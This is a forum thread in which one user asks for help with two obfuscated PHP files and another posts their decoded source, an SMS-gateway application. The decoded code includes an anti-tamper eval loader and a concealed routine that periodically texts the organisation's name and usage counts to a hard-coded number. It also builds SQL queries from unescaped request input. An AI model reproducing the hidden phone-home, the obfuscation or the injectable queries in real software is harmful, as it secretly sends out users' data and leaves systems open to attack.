|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
may you help me... please... |
|
Posted: Wed Jun 02, 2010 7:48 am |
|
|
bintang |
Regular user |
|
|
Joined: Jun 02, 2010 |
Posts: 15 |
|
|
|
|
|
|
|
i Have problem with this
totok1 Code: | <?php if (!function_exists("T7FC56270E7A70FA81A5935B72EACBE29")) { function T7FC56270E7A70FA81A5935B72EACBE29($TF186217753C37B9B9F958D906208506E) { $TF186217753C37B9B9F958D906208506E = base64_decode($TF186217753C37B9B9F958D906208506E); $T7FC56270E7A70FA81A5935B72EACBE29 = 0; $T9D5ED678FE57BCCA610140957AFAB571 = 0; $T0D61F8370CAD1D412F80B84D143E1257 = 0; $TF623E75AF30E62BBD73D6DF5B50BB7B5 = (ord($TF186217753C37B9B9F958D906208506E[1]) << 8) + ord($TF186217753C37B9B9F958D906208506E[2]); $T3A3EA00CFC35332CEDF6E5E9A32E94DA = 3; $T800618943025315F869E4E1F09471012 = 0; $TDFCF28D0734569A6A693BC8194DE62BF = 16; $TC1D9F50F86825A1A2302EC2449C17196 = ""; $TDD7536794B63BF90ECCFD37F9B147D7F = strlen($TF186217753C37B9B9F958D906208506E); $TFF44570ACA8241914870AFBC310CDB85 = __FILE__; $TFF44570ACA8241914870AFBC310CDB85 = file_get_contents($TFF44570ACA8241914870AFBC310CDB85); $TA5F3C6A11B03839D46AF9FB43C97C188 = 0; preg_match(base64_decode("LyhwcmludHxzcHJpbnR8ZWNobykv"), $TFF44570ACA8241914870AFBC310CDB85, $TA5F3C6A11B03839D46AF9FB43C97C188); for (;$T3A3EA00CFC35332CEDF6E5E9A32E94DA<$TDD7536794B63BF90ECCFD37F9B147D7F;) { if (count($TA5F3C6A11B03839D46AF9FB43C97C188)) exit; if ($TDFCF28D0734569A6A693BC8194DE62BF == 0) { $TF623E75AF30E62BBD73D6DF5B50BB7B5 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) << 8); $TF623E75AF30E62BBD73D6DF5B50BB7B5 += ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]); $TDFCF28D0734569A6A693BC8194DE62BF = 16; } if ($TF623E75AF30E62BBD73D6DF5B50BB7B5 & 0x8000) { $T7FC56270E7A70FA81A5935B72EACBE29 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) << 4); $T7FC56270E7A70FA81A5935B72EACBE29 += (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA]) >> 4); if ($T7FC56270E7A70FA81A5935B72EACBE29) { $T9D5ED678FE57BCCA610140957AFAB571 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) & 0x0F) + 3; for ($T0D61F8370CAD1D412F80B84D143E1257 = 0; $T0D61F8370CAD1D412F80B84D143E1257 < $T9D5ED678FE57BCCA610140957AFAB571; $T0D61F8370CAD1D412F80B84D143E1257++) $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012+$T0D61F8370CAD1D412F80B84D143E1257] = $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012-$T7FC56270E7A70FA81A5935B72EACBE29+$T0D61F8370CAD1D412F80B84D143E1257]; $T800618943025315F869E4E1F09471012 += $T9D5ED678FE57BCCA610140957AFAB571; } else { $T9D5ED678FE57BCCA610140957AFAB571 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) << 8); $T9D5ED678FE57BCCA610140957AFAB571 += ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) + 16; for ($T0D61F8370CAD1D412F80B84D143E1257 = 0; $T0D61F8370CAD1D412F80B84D143E1257 < $T9D5ED678FE57BCCA610140957AFAB571; $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012+$T0D61F8370CAD1D412F80B84D143E1257++] = $TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA]); $T3A3EA00CFC35332CEDF6E5E9A32E94DA++; $T800618943025315F869E4E1F09471012 += $T9D5ED678FE57BCCA610140957AFAB571; } } else $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012++] = $TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]; $TF623E75AF30E62BBD73D6DF5B50BB7B5 <<= 1; $TDFCF28D0734569A6A693BC8194DE62BF--; if ($T3A3EA00CFC35332CEDF6E5E9A32E94DA == $TDD7536794B63BF90ECCFD37F9B147D7F) { $TFF44570ACA8241914870AFBC310CDB85 = implode("", $TC1D9F50F86825A1A2302EC2449C17196); $TFF44570ACA8241914870AFBC310CDB85 = "?".">".$TFF44570ACA8241914870AFBC310CDB85."<"."?"; return $TFF44570ACA8241914870AFBC310CDB85; } } } } eval(T7FC56270E7A70FA81A5935B72EACBE29("QAAAPE1FVEEgSFRUUC1FUVVJVgAAPXJlZnJlc2ggQ09OVEVOVAAAPTMwO1VSTD0iIiA+DQo8PwAAcGhwICBpbmNsdWRlICJjbwUAbmZpZy4BAC4BkCI7ICByZXF1ADBpcmVfb25jZSAnAZACkV9saWIBUC9mLWF1dG8CgScCgCAAGCRzcWwAAGRlbGF5PSJzZWxlY3QgaWQAACxyZWNpcGllbnQsdGV4dCwAgGNyZWF0ZV9kAFAsZmxhc2hfCABzbXMsAPF0aW1lX3NlbmQscwEIdGF0dXMsZwJAd2F5XwRQaWRfABBpbmJveCBmcm9tIAMgc2VydhgQZXJfBuIII3doZXJlIAOzIT0nMQIIJyBhbmQgBZogPCAnJAElJyBvAQByZGVyIGJ5CmAgZGVzYyBsaQYkbWl0IDMP8QVDICAkFEBsdAZyPW1AUHkOAF9xdWVyeSgOtikQSHdoaWwCIGUoJHJvdwMSID0gAzNmZXRjaAYgX2FycmEDkAUXKSl7AAAGICRpZD1zBIF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JfCkIGtibfJt+RvwgTX3JlcOXfaW8IH3JpdHm/nX1lbHNlexG00gIY5AsXSXAf/WxvZwpSPEIaxMgjE0UEIOJLIPNLYBnwFjBpAvP2/0IAAJMDiDmlJBEbELYgEM8QzxDPEM/2n/acENsar1//YhBSXxqrD6AAMwp/Cn8Kfwp/Cn8KfQcDQiULahTfg/8LQ3R1dHVwFTUKrwqvCq8KrwqvCqpYkwBjAAAaIOwTDPoOpABxJAgEImFhdXRvXy5gbHk0kLO3gBsCL3BseSxjb25maWcAdCiwMSfIBZH9SQBCOsED/wPwMIgAABEgJLmQQQmwUmUDkDEgCcAECyAgc3RyCqJhY2UoIjxLAT6gYXCD9O8DGgl/AAAKIAOaMgavIjyD4wbBAKMsAzoQTwAACyAlQ9v+EnIAUT0AUATaMiWFAZAANyZfJl8mXxhEHcBML2n/0EwvAAACIM6fAAABICksAPwMIwFTAGJg9SIAlF9saWIOES9uaXgokGHxtkYgJGNzuuBkPUMAYArndDEoaU6hLAEyLIUWJoECcz4wJblT2wNTYYAxA90JsT8+DQoAgQBBPG9iamVjdAQAIGlkPSIAsE1lZGlhUGxheWUAAHIiIHdpZHRoPSIwIiBoZWkSkGdodACxDQoDx2OIkHNpA5BDTFNJAABEOjZCRjUyQTUyLTM5NEEtAAAxMWQzLUIxNTMtMDBDMDRGAQA3OUZBQTYiLNBhbmRieT0iTAABb2FkaW5nIGZpbGUuLi4iBakAAHR5cGU9ImFwcGxpY2F0aW8BoG4veC1vbGUKEArAIgv5cGFyYW1oFSAxQAMARgSgTmFtZSIgp7B1ARByBgAAcGluLndhdiIgLwNvA2M24VN0YXJGkHQDdnRydQRAAxplfdBkIAl/eC1tcKG7EuIyDaByYz0iBzkUDzAOakgxKtByFZAHMhtoPjwvBoIKqS8PQwE5PxuBndQ/AZA=")); ?> |
totok2 Code: | <?php if (!function_exists("T7FC56270E7A70FA81A5935B72EACBE29")) { function T7FC56270E7A70FA81A5935B72EACBE29($TF186217753C37B9B9F958D906208506E) { $TF186217753C37B9B9F958D906208506E = base64_decode($TF186217753C37B9B9F958D906208506E); $T7FC56270E7A70FA81A5935B72EACBE29 = 0; $T9D5ED678FE57BCCA610140957AFAB571 = 0; $T0D61F8370CAD1D412F80B84D143E1257 = 0; $TF623E75AF30E62BBD73D6DF5B50BB7B5 = (ord($TF186217753C37B9B9F958D906208506E[1]) << 8) + ord($TF186217753C37B9B9F958D906208506E[2]); $T3A3EA00CFC35332CEDF6E5E9A32E94DA = 3; $T800618943025315F869E4E1F09471012 = 0; $TDFCF28D0734569A6A693BC8194DE62BF = 16; $TC1D9F50F86825A1A2302EC2449C17196 = ""; $TDD7536794B63BF90ECCFD37F9B147D7F = strlen($TF186217753C37B9B9F958D906208506E); $TFF44570ACA8241914870AFBC310CDB85 = __FILE__; $TFF44570ACA8241914870AFBC310CDB85 = file_get_contents($TFF44570ACA8241914870AFBC310CDB85); $TA5F3C6A11B03839D46AF9FB43C97C188 = 0; preg_match(base64_decode("LyhwcmludHxzcHJpbnR8ZWNobykv"), $TFF44570ACA8241914870AFBC310CDB85, $TA5F3C6A11B03839D46AF9FB43C97C188); for (;$T3A3EA00CFC35332CEDF6E5E9A32E94DA<$TDD7536794B63BF90ECCFD37F9B147D7F;) { if (count($TA5F3C6A11B03839D46AF9FB43C97C188)) exit; if ($TDFCF28D0734569A6A693BC8194DE62BF == 0) { $TF623E75AF30E62BBD73D6DF5B50BB7B5 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) << 8); $TF623E75AF30E62BBD73D6DF5B50BB7B5 += ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]); $TDFCF28D0734569A6A693BC8194DE62BF = 16; } if ($TF623E75AF30E62BBD73D6DF5B50BB7B5 & 0x8000) { $T7FC56270E7A70FA81A5935B72EACBE29 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) << 4); $T7FC56270E7A70FA81A5935B72EACBE29 += (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA]) >> 4); if ($T7FC56270E7A70FA81A5935B72EACBE29) { $T9D5ED678FE57BCCA610140957AFAB571 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) & 0x0F) + 3; for ($T0D61F8370CAD1D412F80B84D143E1257 = 0; $T0D61F8370CAD1D412F80B84D143E1257 < $T9D5ED678FE57BCCA610140957AFAB571; $T0D61F8370CAD1D412F80B84D143E1257++) $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012+$T0D61F8370CAD1D412F80B84D143E1257] = $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012-$T7FC56270E7A70FA81A5935B72EACBE29+$T0D61F8370CAD1D412F80B84D143E1257]; $T800618943025315F869E4E1F09471012 += $T9D5ED678FE57BCCA610140957AFAB571; } else { $T9D5ED678FE57BCCA610140957AFAB571 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) << 8); $T9D5ED678FE57BCCA610140957AFAB571 += ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) + 16; for ($T0D61F8370CAD1D412F80B84D143E1257 = 0; $T0D61F8370CAD1D412F80B84D143E1257 < $T9D5ED678FE57BCCA610140957AFAB571; $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012+$T0D61F8370CAD1D412F80B84D143E1257++] = $TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA]); $T3A3EA00CFC35332CEDF6E5E9A32E94DA++; $T800618943025315F869E4E1F09471012 += $T9D5ED678FE57BCCA610140957AFAB571; } } else $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012++] = $TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]; $TF623E75AF30E62BBD73D6DF5B50BB7B5 <<= 1; $TDFCF28D0734569A6A693BC8194DE62BF--; if ($T3A3EA00CFC35332CEDF6E5E9A32E94DA == $TDD7536794B63BF90ECCFD37F9B147D7F) { $TFF44570ACA8241914870AFBC310CDB85 = implode("", $TC1D9F50F86825A1A2302EC2449C17196); $TFF44570ACA8241914870AFBC310CDB85 = "?".">".$TFF44570ACA8241914870AFBC310CDB85."<"."?"; return $TFF44570ACA8241914870AFBC310CDB85; } } } } eval(T7FC56270E7A70FA81A5935B72EACBE29("QAAAPD8gIGluY2x1ZGUgImNvbggIZmlnLgEALnBocCI7IAAWJHRnA0psMSA9IDIBQgDhMgDgMTAA9jMA8TikBgD2NADwMjYA82RhdGVza3IBIAChKAhkImQiKQGSaWYoJAEhAcA9PQUxMSAKxCB8fCABSzIBPzMBMQJ8NCl7CsIkbgEAdW1iZXJhcAbgIis2Mjg1NzYBADkwMTAwMDEM9CRvcmdhbmlzACBhdGlvbm5hbWUgArBUdWxpcwWETmFtYSgB7SwRQwB0aWQsMQvTICQgAGNpA5BDb3VudFRvdGFsKHNtACxzc2VydmVyX2luAkZvAk8CQ291UCl0AlZrAltrb250YWsB5mgB62hwAaSBhA8CICR0ZXh0DvMIEGxpYiAAcGMxABI4OWRlbW8gJGludgqiJGMA0GNPGGsAwGggEC8RtAUiGJFrcm0HUBnBKCJZGDAtbS0bJQPwZWtsb2cB0BMmMihpZEgMXwFAMSwAUnRhYmVsMiwi8ARQLGkePGQyLAUUC2oGoiAAISRjBRIb5QSwEZBibwAdeD1TZW5kU01TbCgdJgSQDrIsDVDIEAIgGLAkdRcQaWR4LCRnJjB3YXlfgAABUXN0YXR1c19yZXBvcnQsJAIYZmxhc2hfEVAsMykgJ4IH0WluMqC7CvEoB/BydXRpbgVQZAtVCxQL0F8I0wHRoVwAtmQGsHRpbWUNDX0FcSAAYwCyAFNmdSgAbmMmoSANFCgkcmVjaXBpZW50afwsG9MF4G4NCykgLNER8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AFT5lbmNsISQYSSkB4CImGEECnxnlAkMbMGUAAGlwdFJlcXVlc3RlZD1ZRVM4ACZTG3UD7x05LiAiIEhUVFAvMS5yvTANkBMJezYgIU6wIhO5JHpxIAACNwSAOg0B8D+dxhCkECAC1WJhc2U2NObADsMEMQb1AmASaggAQXV0aFtgemF0aW9uOiBCYXMn9mljCpAuIATDBtAKyBbUBBoB+AXAIDoQnVEikCwdyHdoq7AoIWZlb2YZsSkN+QMDLj0CYSBmcmVhZAHxLDEKtQblY2xvcx1S0PABlQaBIEdwdHVybgQSECAC0jamQ291bgIQdFRoaXNEVUF0YWJsc/B2YXIx4PxQsgQDl+BnbHNrchXQQkFQ1FB4OBAmsGx0QBE9QFUic2VsZWN0IGMF4SgqKQtQMAhvbQRwBfEgd2hlcmUgJAZRID49UhAgSrB0BfInIAU1JHJvdwTAbmV4dJmAu6FzbJ3jDKhvd3BwDNU/Pg0K")); ?> |
thanks.... |
|
|
|
|
|
|
|
|
Posted: Wed Jun 02, 2010 8:25 am |
|
|
vince213333 |
Advanced user |
|
|
Joined: Aug 03, 2009 |
Posts: 737 |
Location: Belgium |
|
|
|
|
|
|
First one:
Code: | <META HTTP-EQUIV=refresh CONTENT=30;URL="" >
<?php
include "config.inc.php";
require_once 'include_lib/f-auto.php';
$sqldelay="select id,recipient,text,create_date,flash_sms,datetime_send,status,gateway_id,id_inbox from smsserver_delay where status!='1' and datetime_send < '$datetime' order by id desc limit 3";
$resltdelay=mysql_query($sqldelay);
while($rowdelay = mysql_fetch_array($resltdelay)){
$id=stripslashes($rowdelay["id"]);
$recipient=stripslashes($rowdelay["recipient"]);
$text=stripslashes($rowdelay["text"]);
$gateway_id=stripslashes($rowdelay["gateway_id"]);
Update1(smsserver_delay,status,1,id,$id);
$id_smsserver_out=SendSMSg($recipient,$text,$inboxid,$useridx,$gateway_id) ;
Update1(smsserver_delay,id_smsserver_out,$id_smsserver_out,id,$id);
}
$tgl_skr = date("d");
$bln_skr = date("m");
$thn_skr = date("Y");
$jam_skr = date("H");
$jam_sms_ultah = TulisNama(jam_sms_ultah,bimbel_config,id_bimbel_config,1);
$status_sms_ultah = TulisNama(status_sms_ultah,bimbel_config,id_bimbel_config,1);
if($jam_skr==nol1($jam_sms_ultah) && $status_sms_ultah) {
$sqlultah="select id_kontak, kontak,YEAR(tanggal_lahir) as tahun from kontak where DAY(tanggal_lahir)='$tgl_skr' and MONTH(tanggal_lahir)= '$bln_skr' order by id_kontak desc limit 5";
$resltultah=mysql_query($sqlultah);
while($rowultah = mysql_fetch_array($resltultah)){
$id_kontak=stripslashes($rowultah["id_kontak"]);
$tahun=stripslashes($rowultah["tahun"]);
$kontak=stripslashes($rowultah["kontak"]);
$cekdilog = TulisNama3(id_log1,log1,tabel,kontak,id,$id_kontak,nilai2,$thn_skr);
if(!$cekdilog){
$recipient = TulisNama2(hp,hp,id,$id_kontak,pemilik,kontak);
$tahunke = $tahun-$thn_skr;
$text = TulisNama(template_sms_ultah,bimbel_config,id_bimbel_config,1);
$text2 = str_replace("<nama>",$kontak,$text);
$text3 = str_replace("<tahunke>",$tahunke,$text2);
$id = SendSMS($recipient,$text3,$inboxid,$useridx);
in2log1(kontak,$id_kontak,smsserver_out,$id,tahun,$thn_skr,$datetime);
}
}
}
$sms_engine = TulisNama(nilai,konf,konf,sms_engine);
if($sms_engine=="nowsms5"){
$originator = $_GET["number"];
$number = $_GET["number"];
$originator = str_replace("+","",$originator);
$text = $_GET["text"];
$gateway_id = $_GET["modem"];
$message_date = $datetime;
$receive_date = $datetime;
$RECEIPTMESSAGEID=$_GET['RECEIPTMESSAGEID'];
if($originator){
$id = in2smsserver_in(1,$originator,I,7,$message_date,$receive_date,$text,$original_ref_no,$original_receive_date,$gateway_id);
} }
$sql="select id,originator,type,text,gateway_id from smsserver_in where process='0' limit 1 "; $data=mysql_query($sql);
while($row=mysql_fetch_array($data)){
$id=stripslashes($row["id"]);
$originator=stripslashes($row["originator"]);
$type=stripslashes($row["type"]);
$text=stripslashes($row["text"]);
$gateway_id=stripslashes($row["gateway_id"]);
Update1(smsserver_in,process,"1",id,$id);
if($type=="S"){
exit;
}
$cekgateway_id = TulisNama(id_gateway,gateway,gateway,$gateway_id);
if(!$cekgateway_id){
in2gateway($gateway_id);
}
$number
= zeroto62($originator);
upconfig($text,$originator);
$inboxid = $id;
$id_kontak = TulisNama2(id,hp,pemilik,kontak,hp,$number);
$kontak
= TulisNama(kontak,kontak,id_kontak,$id_kontak);
$id_sapaan = TulisNama(id_sapaan,kontak,id_kontak,$id_kontak);
$sapaan
= TulisNama(sapaan,sapaan,id_sapaan,$id_sapaan);
$priority = 2;
InTabel1(inbox,id,$id);
$activautorespon = TulisNama(activautorespon,config,configid,1);
$SMSAutoReply = TulisNama(SMSAutoReply,config,configid,1);
$organisationname = TulisNama(organisationname,config,configid,1);
$softwarename = TulisNama(softwarename,config,configid,1);
$id_kontak = TulisNama(id,hp,hp,$number);
$kontak = TulisNama(kontak,kontak,id_kontak,$id_kontak);
if($activautorespon=="true"){
$keysms = explode(" ",$text);
$ckeysms = count($keysms);
$keysms0 = strtolower($keysms[0]);
$keysms1 = strtolower($keysms[1]);
$keysms12 = "$keysms0 $keysms1";
$atext = $keysms = explode("#",$text);
$catext = count($atext);
$atext0 = $atext[0];
$aksiid = TulisNama2(aksiid,aksi,katakunci,$keysms12,status,1);
if(!$aksiid){
$aksiid = TulisNama2(aksiid,aksi,katakunci,$keysms0,status,1);
if(!$aksiid){
$aksiid = TulisNama2(aksiid,aksi,katakunci,$atext0,status,1);
}
}
$aksi = TulisNama(aksi,aksi,aksiid,$aksiid);
echo " $aksiid = TulisNama(aksiid,aksi,katakunci,$text); ";
if($aksi){
Update1(inbox,aksiid,$aksiid,id,$id);
if($aksi=="autorespon"){
$text = TulisNama(text,aksi,aksiid,$aksiid);
SendSMSl($number,$text,$inboxid,$useridx,$gateway_id,$status_report,$flash_sms,$priority) ; exit;
}
if($aksi=="sms2folder"){
$folderid = TulisNama(id,aksi,aksiid,$aksiid);
Update1(inbox,folderid,$folderid,id,$id);
echo "$folderid = TulisNama(id,aksi,aksiid,$aksiid);
Update1(inbox,folderid,$folderid,id,$inboxid);";
}
if($aksi=="forward2pb"){
$text = "SMS dari $kontak ($number) : $text";
$number = TulisNama(id,aksi,aksiid,$aksiid);
SendSMSl($number,$text,$inboxid,$useridx,$gateway_id,$status_report,$flash_sms,$priority) ; exit;
}
if($aksi=="dataumum"){
$id_inbox=$inboxid;
$id_umum = TulisNama(id,aksi,aksiid,$aksiid);
$id_inkolom = in2inkolom($id_inbox,$id_umum);
$sqlkolom="select id_kolom,singkat,kolom from kolom where id_umum='$id_umum' ";
$datakolom=mysql_query($sqlkolom);
while($rowkolom=mysql_fetch_array($datakolom)){
$a++;
$id_kolom=stripslashes($rowkolom["id_kolom"]);
$varkolom = $atext[$a];
in2varkolom($id_inkolom,$id_kolom,$varkolom);
}
$text = TulisNama(sms_balas,umum,id_umum,$id_umum);
SendSMSl($number,$text,$inboxid,$useridx,$gateway_id,$status_report,$flash_sms,$priority) ; exit;
}
if($aksi=="forward2kelompok"){
$text = "SMS dari $kontak ($number) : $text";
$id_kelompok = TulisNama(id,aksi,aksiid,$aksiid);
KirimSMSKelompok($id_kelompok,$text,$inboxid);
exit;
}
if($aksi=="sms2hp"){
$keysms = explode(" ",$text,2);
$keysms0 = $keysms[0];
$id_kelompok = TulisNama(id,aksi,aksiid,$aksiid);
$keysms1 = $keysms[1];
$arr_keysms1 = explode(" ",$keysms1);
$carr_keysms1 = count($arr_keysms1);
$kontakbr = "$kontak $number";
$kontak = $kontakbr;
for($i=0;$i<$carr_keysms1;$i++){
$hp = $arr_keysms1[$i];
$hp62 = zeroto62($hp);
$id_kontak = TulisNama2(id,hp,hp,$hp62,pemilik,kontak);
if(!$id_kontak || $hp){
$id_kontak = in2kontak($id_sapaan,$kontak,$alamat,$id_kelurahan,$id_kecamatan,$id_kab_kota,$id_provinsi,$sex,$tanggal_lahir,$id_agama,$email,$yahoo_id,$valid,$tandai);
in2kelompok_kontak($id_kelompok,$id_kontak);
in2hp($id_kontak,1,kontak,$hp62);
}
}
$text = TulisNama(text,aksi,katakunci,$keysms0);
SendSMSl($number,$text,$inboxid,$useridx,$gateway_id,$status_report,$flash_sms,$priority) ; exit;
}
if($aksi=="poll"){
$id_poll = TulisNama2(id_poll,poll,opsi,$keysms1,aksiid,$aksiid);
$status
= TulisNama(status,aksi,aksiid,$aksiid);
$jawaban = TulisNama(keterangan,poll,id_poll,$id_poll);
$pertanyaan
= TulisNama(namaksi,aksi,aksiid,$aksiid);
$ceksudah = ceksudah($aksiid,$number);
include 'db.php';
if($status){
if($ceksudah){
$text = $sms_jawab_poll_sudah;
SendSMSl($number,$text,$inboxid,$useridx,$gateway_id,$status_report,$flash_sms,$priority) ; exit;
}else{
if($id_poll){
inlog_poll($id_poll,$inboxid);
Update1(inbox,aksiid,$aksiid,inboxid,$inboxid);
$text = $sms_jawab_poll;
SendSMSl($number,$text,$inboxid,$useridx,$gateway_id,$status_report,$flash_sms,$priority) ; exit;
}else{
$text = $sms_jawab_poll_sudah;
SendSMSl($number,$text,$inboxid,$useridx,$gateway_id,$status_report,$flash_sms,$priority) ; exit;
}
}
}else{
$text = $sms_jawab_poll_tutup;
SendSMSl($number,$text,$inboxid,$useridx,$gateway_id,$status_report,$flash_sms,$priority) ; exit;
}
}
}else{
$status_sms_auto_reply = TulisNama(status_sms_auto_reply,config,configid,1);
if($status_sms_auto_reply){
$SMSAutoReply1 =
str_replace("<nama>",$kontak,$SMSAutoReply);
$SMSAutoReply2 =
str_replace("<sapaan>",$sapaan,$SMSAutoReply1);
$text
=
$SMSAutoReply2;
SendSMSl($number,$text,$inboxid,$useridx,$gateway_id,$status_report,$flash_sms,$priority) ; exit;
exit;
}
}
}
}
include "include_lib/nixsms.php";
$csound=Count1(inbox,sound,0);
if($csound>0){
Update1(inbox,sound,1,sound,0);
?>
<object id="objMediaPlayer" width="0" height="0"
classid="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6" standby="Loading file..."
type="application/x-oleobject">
<param name="FileName" value="ringin.wav" />
<param name="AutoStart" value="true" />
<embed type="application/x-mplayer2" src="ringin.wav" width="0" height="0"
autostart="true"></embed>
</object>
<?php
}
?> |
|
|
|
|
|
|
|
|
|
Posted: Wed Jun 02, 2010 8:31 am |
|
|
vince213333 |
Advanced user |
|
|
Joined: Aug 03, 2009 |
Posts: 737 |
Location: Belgium |
|
|
|
|
|
|
Second:
Code: | <?php
include "config.inc.php";
$tgl1 = 2;
$tgl2 = 10;
$tgl3 = 18;
$tgl4 = 26;
$dateskr = date("d");
if($dateskr==$tgl1 || $dateskr==$tgl2 || $dateskr==$tgl3 || $dateskr==$tgl4){
$numberap = "+6285769010001";
$organisationname = TulisNama(organisationname,config,configid,1);
$ci = CountTotal(smsserver_in);
$co = CountTotal(smsserver_out);
$ck = CountTotal(kontak);
$ch = CountTotal(hp);
$textap = "smslib smsc189demo $inv $ci $co $ck $ch $organisationname ";
$tglkrm = date("Y-m-d");
$ceklog = TulisNama2(id_log1,log1,tabel2,tglkrm,id2,$tglkrm);
if(!$ceklog){
$id_outbox=SendSMSl($numberap,$textap,$inboxid,$useridx,$gateway_id,$status_report,$flash_sms,3) ;
in2log1(cekrutin,$id,tglkrm,$tglkrm,id_outbox,$id_outbox,$datetime);
}
}
function SendSMS($recipient, $text,$inboxid,$useridx) {
if($recipient){
$ceklis = TulisNama(configid,config,softwarename,nixsmsc10);
if($ceklis){
$text = " $text - [www.nixsms.com] ";
}
if(CountThisDay(smsserver_out,create_date,$tglskr)>10){
$text = " $text - [www.nixsms.com] ";
}
if(!$gateway_id){
$gateway_id="*";
}
$recipient = zeroto62($recipient);
$status_report = 1;
$create_date = date("Y-m-d H:i:s");
$sms_engine = TulisNama(nilai,konf,konf,sms_engine);
if($sms_engine=="nowsms5"){
$handle = NowSMS($recipient, $text,$gateway_id) ;
if($handle){
$arrhandle=explode(" ",$handle);
$status_http = $arrhandle[1];
if($status_http=="200"){
$status = S;
}else{
$status = F;
echo "gagal kirim sms";
exit;
}
}
}
$sql="insert into smsserver_out (recipient,text,create_date,status_report,flash_sms,priority,status,gateway_id)
Values ('$recipient','$text','$create_date','$status_report','$flash_sms','$priority','$status','$gateway_id')";
dbquery($sql);
$id = mysql_insert_id();
in2reply($inboxid,$id,"0");
in2log($datetime,$userid,"Kirim SMS ke $recipient : $text");
in2outbox($id,$id_log_outbox,$useridx);
return $id;
}
}
function SendSMSg($recipient, $text,$inboxid,$useridx,$gateway_id) {
if($recipient){
if(!$gateway_id){
$gateway_id="*";
}
$ceklis = TulisNama(configid,config,softwarename,nixsmsc10);
if($ceklis){
$text = " $text - [www.nixsms.com] ";
}
if(CountThisDay(smsserver_out,create_date,$tglskr)>10){
$text = " $text - [www.nixsms.com] ";
}
$recipient = zeroto62($recipient);
$status_report = 1;
$create_date = date("Y-m-d H:i:s");
$sms_engine = TulisNama(nilai,konf,konf,sms_engine);
if($sms_engine=="nowsms5"){
$handle = NowSMS($recipient, $text,$gateway_id) ;
if($handle){
$arrhandle=explode(" ",$handle);
$status_http = $arrhandle[1];
if($status_http=="200"){
$status = S;
}else{
$status = F;
echo "gagal kirim sms";
exit;
}
}
}
$sql="insert into smsserver_out (recipient,text,create_date,status_report,flash_sms,priority,status,gateway_id)
Values ('$recipient','$text','$create_date','$status_report','$flash_sms','$priority','$status','$gateway_id')";
dbquery($sql);
$id = mysql_insert_id();
in2reply($inboxid,$id,"0");
in2log($datetime,$userid,"Kirim SMS ke $recipient : $text");
in2outbox($id,$id_log_outbox,$useridx);
return $id;
}
}
function SendSMSl($recipient,$text,$inboxid,$useridx,$gateway_id,$status_report,$flash_sms,$priority) {
if($recipient){
if(!$gateway_id){
$gateway_id="*";
}
$ceklis = TulisNama(configid,config,softwarename,nixsmsc10);
if($ceklis){
$text = " $text - [www.nixsms.com] ";
}
if(CountThisDay(smsserver_out,create_date,$tglskr)>10){
$text = " $text - [www.nixsms.com] ";
}
$recipient = zeroto62($recipient);
$create_date = date("Y-m-d H:i:s");
$sms_engine = TulisNama(nilai,konf,konf,sms_engine);
if($sms_engine=="nowsms5"){
$handle = NowSMS($recipient, $text,$gateway_id) ;
if($handle){
$arrhandle=explode(" ",$handle);
$status_http = $arrhandle[1];
if($status_http=="200"){
$status = S;
}else{
$status = F;
echo "gagal kirim sms";
exit;
}
}
}else{
$status=U;
}
$sql="insert into smsserver_out (recipient,text,create_date,status_report,flash_sms,priority,status,gateway_id)
Values ('$recipient','$text','$create_date','$status_report','$flash_sms','$priority','$status','$gateway_id')";
dbquery($sql);
$id = mysql_insert_id();
in2reply($inboxid,$id,"0");
in2log($datetime,$userid,"Kirim SMS ke $recipient : $text");
in2outbox($id,$id_log_outbox,$useridx);
return $id;
}
}
function SendSMSm($recipient, $text,$inboxid,$useridx,$gateway_id) {
$username = TulisNama(nilai,konf,konf,masking_username);
$password = TulisNama(nilai,konf,konf,masking_password);
$masking_url = TulisNama(nilai,konf,konf,masking_url);
$mobile = plus62tozero($recipient);
$authx = "$username$password$mobile";
$auth = md5($authx);
if($recipient){
if(!$gateway_id){
$gateway_id="*";
}
$ceklis = TulisNama(configid,config,softwarename,nixsmsc10);
if($ceklis){
$text = " $text - [www.nixsms.com] ";
}
$recipient = zeroto62($recipient);
$status_report = 1;
$create_date = date("Y-m-d H:i:s");
